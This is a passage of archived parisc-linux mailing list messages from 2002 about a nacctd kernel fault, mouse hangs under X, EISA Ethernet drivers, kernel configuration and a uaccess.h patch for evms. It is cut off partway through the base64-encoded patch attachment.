kernel: r00-03&nbsp; 00000000 0002a1d8 00018293 00000000<BR>Sep 25 22:54:02
obzor kernel: r04-07&nbsp; bff03f10 0002a9d8 0002a9d8 0002a9d8<BR>Sep 25
22:54:02 obzor kernel: r08-11&nbsp; 0002a9d8 0002a9d8 00018800
000d9e08<BR>Sep 25 22:54:02 obzor kernel: r12-15&nbsp; 00000000 000d8d28
000dd7c8 000e3ce8<BR>Sep 25 22:54:02 obzor kernel: r16-19&nbsp; 00000000
000d2470 0009e800 00000000<BR>Sep 25 22:54:02 obzor kernel: r20-23&nbsp;
00001000 400515e0 0002d6c0 0000208d<BR>Sep 25 22:54:02 obzor kernel:
r24-27&nbsp; 0000208d 00000000 00000000 0002a1d8<BR>Sep 25 22:54:02 obzor
kernel: r28-31&nbsp; bff03f10 00000020 bff04180 40252ff3<BR>Sep 25 22:54:02
obzor kernel: sr0-3&nbsp;&nbsp; 000024e0 000024e0 00000000 000024e0<BR>Sep
25 22:54:02 obzor kernel: sr4-7&nbsp;&nbsp; 000024e0 000024e0 000024e0
000024e0<BR>Sep 25 22:54:02 obzor kernel: <BR>Sep 25 22:54:02 obzor kernel:
IASQ: 000024e0 000024e0 IAOQ: 00017c83 00017c87<BR>Sep 25 22:54:02 obzor
kernel:&nbsp; IIR: 0e60109c&nbsp;&nbsp;&nbsp; ISR: 000024e0&nbsp; IOR:
00000000<BR>Sep 25 22:54:02 obzor kernel:&nbsp;
CPU:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp; CR30: 1c2c8000
CR31: f7feefca<BR>Sep 25 22:54:02 obzor kernel:&nbsp; ORIG_R28: bff03f10</P>
<P>where can be the problem, please help!</P>
<P>the source of netacct-mysql can be found
netacct-mysql.sourceforge.net</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>Regards</P><br>
<br>
________________________________________________<br>
This mail was sent by Godzilla 1.0<br>



From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Wed, 25 Sep 2002 15:44:47 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <3D92203F.3020801@earthlink.net>
References: <3D8F01140000099E@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621770 14765 80.91.229.3 (22 Nov 2014 02:02:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:50 +0000 (UTC)
To: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 14:42:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B0F74829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 14:42:29 -0600 (MDT)
Original-Received: from user-33qtctb.dialup.mindspring.com ([199.174.179.171] helo=cactus.bheadley.org)
	by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 17uIz4-0002Gs-00; Wed, 25 Sep 2002 13:42:10 -0700
Original-Received: from localhost.localdomain ([127.0.0.1] helo=earthlink.net)
	by cactus.bheadley.org with esmtp (Exim 3.36 #1 (Debian))
	id 17uJ1b-0004YA-00; Wed, 25 Sep 2002 15:44:47 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2a) Gecko/20020910
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16297

jsoe0708@tiscali.be wrote:
> Hi Brian,
> 
> Sorry, the last test I do on my b180 and gpmdata as mouse driver does not
> work :)
> (xfree86-4.1)
> 
Forgot what mouse type you're supposed to tell X you have. Just tried it 
on my i386, and had a hung mouse real fast! I thought it was Imps/2, but 
obviously not...

You are right -- if you return to the console with control-alt-F[1-6], 
and then back again, the issue clears up. It's a well-known but 
irritating "solution"



-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net



From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] netacct-mysql compilation problem
Date: Wed, 25 Sep 2002 16:13:41 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200209252013.g8PKDfD4000908@hiauly1.hia.nrc.ca>
References: <20020925195914.081FA4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621771 14772 80.91.229.3 (22 Nov 2014 02:02:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: stephan@itp.bg
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 18:23:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E181C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 18:23:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8PKDg00000910
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 16:13:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8PKDfD4000908;
	Wed, 25 Sep 2002 16:13:41 -0400 (EDT)
In-Reply-To: <20020925195914.081FA4829@dsl2.external.hp.com> from "Stephan" at Sep 25, 2002 11:00:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16298

> <P>Sep 25 22:54:02 obzor kernel: do_page_fault() pid=25917 command='nacctd'
> type=15 address=0x00000000<BR>Sep 25 22:54:02 obzor kernel: <BR>Sep 25

Looks like a NULL pointer.

> IASQ: 000024e0 000024e0 IAOQ: 00017c83 00017c87<BR>Sep 25 22:54:02 obzor

The instruction causing the fault is at 0x00017c80.  This is probably
a coding problem in the source.  Some systems are more tolerant of
NULL pointers than others.  You would need to use a debugger to
investigate further.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve.Grady@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA 100 Base-T Ethernet card drivers
Date: Thu, 26 Sep 2002 11:05:31 +1000
Lines: 17
Approved: news@gmane.org
Message-ID: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCE0@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621771 14776 80.91.229.3 (22 Nov 2014 02:02:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 19:05:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crux.tip.CSIRO.AU (crux.tip.CSIRO.AU [130.155.194.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF7974829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 19:05:36 -0600 (MDT)
Original-Received: (from daemon@localhost)
	by crux.tip.CSIRO.AU (8.9.3/8.9.3/TIPAT-1.2a) id LAA13079
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Sep 2002 11:05:33 +1000 (EST)
Original-Received: from wing-ep.tip.CSIRO.AU(130.155.192.114)
 via SMTP by crux.tip.CSIRO.AU, id smtpdAAAa13077; Thu Sep 26 11:05:32 2002
Original-Received: by wing-ep.tip.csiro.au with Internet Mail Service (5.5.2656.59)
	id <SD1MPRTN>; Thu, 26 Sep 2002 11:05:32 +1000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16299

Hi,

Are there drivers available for EISA 100 Base-T cards such are the HP
A4308A.
If there are what is the driver called and is there anything I need to know
in
getting it to work on my D370.

Thanks in advance,


Steve Grady
Sydney Australia

  



From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100 Base-T Ethernet card drivers
Date: Thu, 26 Sep 2002 03:19:56 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020926031956.A5179@parcelfarce.linux.theplanet.co.uk>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCE0@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621771 14782 80.91.229.3 (22 Nov 2014 02:02:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 20:19:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B02B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 20:19:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17uOFw-0007N5-00; Thu, 26 Sep 2002 03:19:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCE0@wing-ep.tip.csiro.au>; from Steve.Grady@csiro.au on Thu, Sep 26, 2002 at 11:05:31AM +1000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16300

On Thu, Sep 26, 2002 at 11:05:31AM +1000, Steve.Grady@csiro.au wrote:
> Are there drivers available for EISA 100 Base-T cards such are the HP
> A4308A.
> If there are what is the driver called and is there anything I need to know
> in
> getting it to work on my D370.

this chip is the 82556, which is apparently AKA the "EtherExpress PRO/100
Smart".  I don't know what's so smart about it, but the eepro100 driver
doesn't claim to support it.  I think you're out of luck.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Thu, 26 Sep 2002 08:16:21 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3D8F011400000D77@ocpmta2.be.tiscali.com>
References: <3D92203F.3020801@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621771 14786 80.91.229.3 (22 Nov 2014 02:02:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:51 +0000 (UTC)
To: "Bryan W. Headley" <bwheadley@earthlink.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 26 00:16:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B1C04829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Sep 2002 00:16:28 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 26 Sep 2002 08:16:21 +0200
In-Reply-To: <3D92203F.3020801@earthlink.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16301

>> Hi Brian,
>> 
>> Sorry, the last test I do on my b180 and gpmdata as mouse driver does
not
>> work :)
>> (xfree86-4.1)
>> 
>Forgot what mouse type you're supposed to tell X you have. Just tried it
>
>on my i386, and had a hung mouse real fast! I thought it was Imps/2, but
>
>obviously not...
>
>You are right -- if you return to the console with control-alt-F[1-6], 
>and then back again, the issue clears up. It's a well-known but 
>irritating "solution"

Ah, I am not an 'e X pert' :)) and I am ignoring (thanks).

In the mean time, I recieved a mail from Branden Robinson <branden@debian.org>
proposing it is help. He will need some help with 'try an experimental debugging
X server package. Ever used gdb to attach to a running X server before?'.

If you feel more competent (I am not very capable in X field) and more time
(than I) I can send you its answer?

Cheers,
    Joel



From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failure when compile 2.4.19-pa20
Date: Thu, 26 Sep 2002 08:22:47 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3D8F011400000D7C@ocpmta2.be.tiscali.com>
References: <200209251847.30715.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621772 14788 80.91.229.3 (22 Nov 2014 02:02:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 26 00:23:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 057484829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Sep 2002 00:23:21 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 26 Sep 2002 08:22:47 +0200
In-Reply-To: <200209251847.30715.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16302

>-- Original Message --
>From: Helge Deller <deller@gmx.de>
>To: Matthew Wilcox <willy@debian.org>,
> jsoe0708@tiscali.be
>Subject: Re: [parisc-linux] Failure when compile 2.4.19-pa20
>Date: Wed, 25 Sep 2002 18:47:30 +0200
>Cc: parisc-linux@lists.parisc-linux.org
>
>
>On Wednesday 25 September 2002 18:02, Matthew Wilcox wrote:
>> On Wed, Sep 25, 2002 at 05:56:08PM +0200, jsoe0708@tiscali.be wrote:
>> > I got USB part of .config from debian-configs/32 (I work on a b180)
and
>> > try to compile 2.4.19-pa20 but it failled:
>>
>> i'd guess you didn't select CONFIG_INPUT
>
>CONFIG_INPUT=y
>CONFIG_INPUT_EVDEV=y
>
>helge
>

That is may mistake (just take out off context a part of the .config file
:( )

Thanks a lot for attention and help,
    Joel



From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X Apps on 712 vs. 735   Was: RTC and FB on 735/125
Date: Thu, 26 Sep 2002 13:04:08 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <001b01c2654c$6ff91570$1f96078d@acid>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee.fr><03bf01c2627c$9a5147c0$1f96078d@acid> <03ed01c26280$4dfb5c90$1f96078d@acid><1032793227.1848.222.camel@romano> <003001c26327$d0db42e0$1f96078d@acid><1032806776.2868.19.camel@romano> <002a01c263bf$76340820$1f96078d@acid><3D9052C9.3060704@esiee.fr> <1032880521.1338.181.camel@romano> <3D9085B1.5030503@esiee.fr> <1032882750.384.10.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621772 14790 80.91.229.3 (22 Nov 2014 02:02:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:52 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 26 05:03:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCB964829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Sep 2002 05:03:34 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g8QB3VQ0016912
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Sep 2002 13:03:32 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g8QB3Vkc021413
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Sep 2002 13:03:31 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16303

From: "James Smith" <james@compusmithllc.com>


> > >>>Galeon/Mozilla and XMMS start up, but they don't appear on screen and
give
> i've had both konqueror & xmms working fine on my 712/60

Yesterday I did a new Debian install on my 712/60, so it's the very same
system as on my 735/125. The difference is, as decribed before, on 735
galeon and xmms run, but they don't appear on screen. While on my 712 xmms
works and galeon showed a setup wizzard and died right after with an error
message. So I wonder, where this different behavior comes from?
Well, only difference is 24bpp X on 735 vs 8bpp on 712...

Greetings,
Yves...




From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] uaccess.h patch for new evms-1.1.0: correct?
Date: Thu, 26 Sep 2002 15:19:54 +0200
Lines: 98
Approved: news@gmane.org
Message-ID: <3D8F01140000102A@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3D8F01140000102A/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621772 14791 80.91.229.3 (22 Nov 2014 02:02:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 26 07:19:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 604E24829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Sep 2002 07:19:58 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 26 Sep 2002 15:19:54 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16304

--=========3D8F01140000102A/mail.tiscali.be
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi all,

As I not find "std" emulation (gcc report 'Internal compiler error... PLease
submit a full bug report...) and not more the D, M, L mips prefix (to access
different 32bits part of a 64bits lon long), here is what I proprose as uaccess.h
patch.

Can someone have a look and advise me if I made any error?

Thanks in advance for help,
    Joel

PS: Functionaly it seems to work to make evms 1.1.0 works



--=========3D8F01140000102A/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pa-uaccess_h.patch"

LS0tIHVhY2Nlc3MuaC5vcmlnCTIwMDItMDktMjUgMTM6NTk6MDkuMDAwMDAwMDAwICswMjAwCisr
KyB1YWNjZXNzLmgJMjAwMi0wOS0yNiAxNTowMjoyMy4wMDAwMDAwMDAgKzAyMDAKQEAgLTM1LDEw
ICszNSw0MSBAQAogI2RlZmluZSBnZXRfdXNlciBfX2dldF91c2VyCiAKICNpZiBCSVRTX1BFUl9M
T05HID09IDMyCisKICNkZWZpbmUgTEREX0tFUk5FTChwdHIpCQlCVUcoKQogI2RlZmluZSBMRERf
VVNFUihwdHIpCQlCVUcoKQotI2RlZmluZSBTVERfS0VSTkVMKHgsIHB0cikJQlVHKCkKLSNkZWZp
bmUgU1REX1VTRVIoeCwgcHRyKQlCVUcoKQorI2RlZmluZSBTVERfS0VSTkVMKHgsIHB0cikgICAg
ICAgICAgICAgICAgICAgIFwKKyh7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBcCisgICAgdW5pb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
XAorICAgIHsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICAg
